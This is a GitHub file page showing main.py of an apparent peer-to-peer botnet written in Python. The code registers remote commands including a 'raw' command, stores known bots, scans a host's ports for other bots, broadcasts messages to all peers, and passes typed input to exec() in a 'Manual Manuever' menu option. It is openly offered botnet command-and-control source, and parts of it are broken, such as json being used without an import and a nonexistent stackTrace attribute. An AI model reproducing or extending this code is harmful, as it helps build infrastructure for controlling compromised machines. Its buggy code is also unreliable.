-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
222 lines (197 loc) · 5.79 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
from Client.SocketClient import SocketClient
from Server.serverThread import ServerThread
from Server.SocketServer import SocketServer
from Handlers.MainHandler import Handler
from Handlers.CommandHandler import CommandHandler
from Handlers.JSONHandler import JSONHandler
from Command.PWDCommand import PWDCommand
from Command.SleepCommand import SleepCommand
from Command.RawCommand import RawCommand
from time import sleep
from peer import Peer
import logging
import sys
import shelve
from ipify import get_ip
# logging.basicConfig(level=logging.CRITICAL)
class Bot:
def __init__(self): # SAVE AND LOAD BOT DESC AT STARTUP/ EDIT KINDA LIKE PROFILES ON WEBAPPS
logging.info("[+] Intializing bot...")
self.connections = {} # list of peers this bot is connected to
self.clients = []
self.knownBots = set()
self.knownBotsDB = set()
self.servers = []
self.host = get_ip()
self.port = None
self.commands = {
"pwd": PWDCommand,
"sleep": SleepCommand,
"raw": RawCommand,
}
logging.info("[+] Adding Handlers...")
self.handler = Handler()
self.handler.addHandler(CommandHandler(self.commands))
self.handler.addHandler(JSONHandler(self))
logging.info("[+] Starting Socket Server...")
try:
socketServerThread = ServerThread(SocketServer, self.handler, self)
socketServerThread.start()
self.servers.append(socketServerThread)
except Exception as e:
logging.warning(e.stackTrace)
logging.warning("ERRROR CREATING SERVER THREAD")
self.loadKnownBots()
def loadKnownBots(self):
with shelve.open('others') as db:
if len(db.items()) == 0:
db["knownBots"] = set()
else:
self.knownBotsDB = db["knownBots"]
for i in self.knownBotsDB:
self.knownBots.add(i)
def saveKnownBots(self):
with shelve.open('others') as db:
if len(db.items()) == 0:
db["knownBots"] = set()
for i in self.knownBots:
self.knownBotsDB.add(i)
db["knownBots"]=self.knownBotsDB
def loadPeerFromAbove(self):
pass
def addNewPeer(self, peer):
if peer in self.knownBots:
return False
self.knownBots.add(peer)
return True
# newPeer = SocketClient(peer)
# if newPeer.isActive:
# # self.connections.append(peer)
# self.connections[peer] = newPeer
# self.clients.append(newPeer)
# return False
# def checkConnections(self):
# newClients = []
# for client in self.clients:
# if client.isActive:
# newClients.append(client)
# else:
# self.connections.remove(peer(client.ip,client.port))
# self.client.remove(peer(client.ip,client.port))
# self.clients = newClients
def sendJSON(self, data, peer):
client = self.connectTo(peer)
if client:
jsonData = json.dumps(data)
client.send(jsonData)
client.disconnect()
else:
print("[+] Connection Error: Cannot connect to peer")
def forwardTo(self, data, peer):
pass
# another case for json handler
# type = forward => add current ip and port to comming request and forward to every other bot // have a list of visited nodes to not form a cycle // even better have TTL
# type = forwardBack => remove last ip and port, and forward request to it // if there are no more to pop, process the request
def connectTo(self, peer):
client = SocketClient(peer)
return client if client.isActive else None
## DEBUG
def debugInfo(self):
print("[*] Info about Current BOT => @"+":".join([self.host, str(self.port)]))
print("Connections:",self.connections)
print("Clients:",self.clients)
print("Known Bots:",self.knownBots)
print("Connections:",self.servers)
print("Commands:",self.commands)
def addPeer(self):
ip = input("Enter Peer IP: ")
port = input("Enter Peer port: ")
self.addNewPeer(Peer(ip,port))
logging.info("Added New Peer")
def sendToAll(self):
message = input("Message: ")
for peer in self.knownBots:
client = self.connectTo(peer)
if client:
logging.info("Sending data to",str(client))
client.send(message)
client.disconnect()
def sendTo(self):
message = input("Message: ")
peerIP = input("Recievers Ip: ")
peerPort = input("Recievers Port: ")
peer = Peer(peerIP, peerPort)
if peer in self.connections:
client = self.connectTo(peer)
client.send(message)
client.disconnect()
## else forward to all
def sendToAllMessage(self, msg):
message = msg
for peer in self.connections:
client = self.connectTo(peer)
logging.info("Sending data to",str(client))
client.send(message)
client.disconnect()
def scanPorts(self):
host = input()
print("[+] Scanning Ports for other bots")
ports = range(45454, 50000)
for port in ports:
try:
if self.connectTo(Peer(host, port)):
self.addNewPeer(Peer(host, port))
print("[+] Found a new bot at", host +":"+ str(port))
except:
pass
def shutdown(self):
self.saveKnownBots()
for server in self.servers:
server.stop()
for client in self.clients:
client.disconnect()
sys.exit()
def manual(self):
cmd = input()
print(exec(cmd))
try:
bot = Bot()
print("Bot started at", bot.host, bot.port)
## TEMPORARY MENU
opts = {
0: bot.debugInfo,
1: bot.addPeer,
2: bot.loadKnownBots,
3: bot.scanPorts,
4: bot.sendTo,
5: bot.sendToAll,
6: bot.saveKnownBots,
7:"",
8: bot.manual,
9: bot.shutdown,
}
choices = [
"Debug Info",
"Add peer",
"Reload all Peers",
"Scan ports on a host for other bots",
"Send A Message To a Client",
"Send A Message To all Clients",
"Save all known bots",
"",
"Manual Manuever",
"Shutdown bot"
]
DEBUG = len(sys.argv) > 1 and sys.argv[1] == "dev"
while DEBUG:
# bot.checkConnections()
for opt in opts:
if not opts[opt] == "":
print(str(opt)+")",choices[opt])
choice = input("> ")
opts[int(choice)]()
except KeyboardInterrupt:
print("","CTRL+C Pressed",sep="\n")
print("Started closing servers, wait a minutes as this is gracefull")
bot.shutdown()
print("Done closing, Enjoy your day")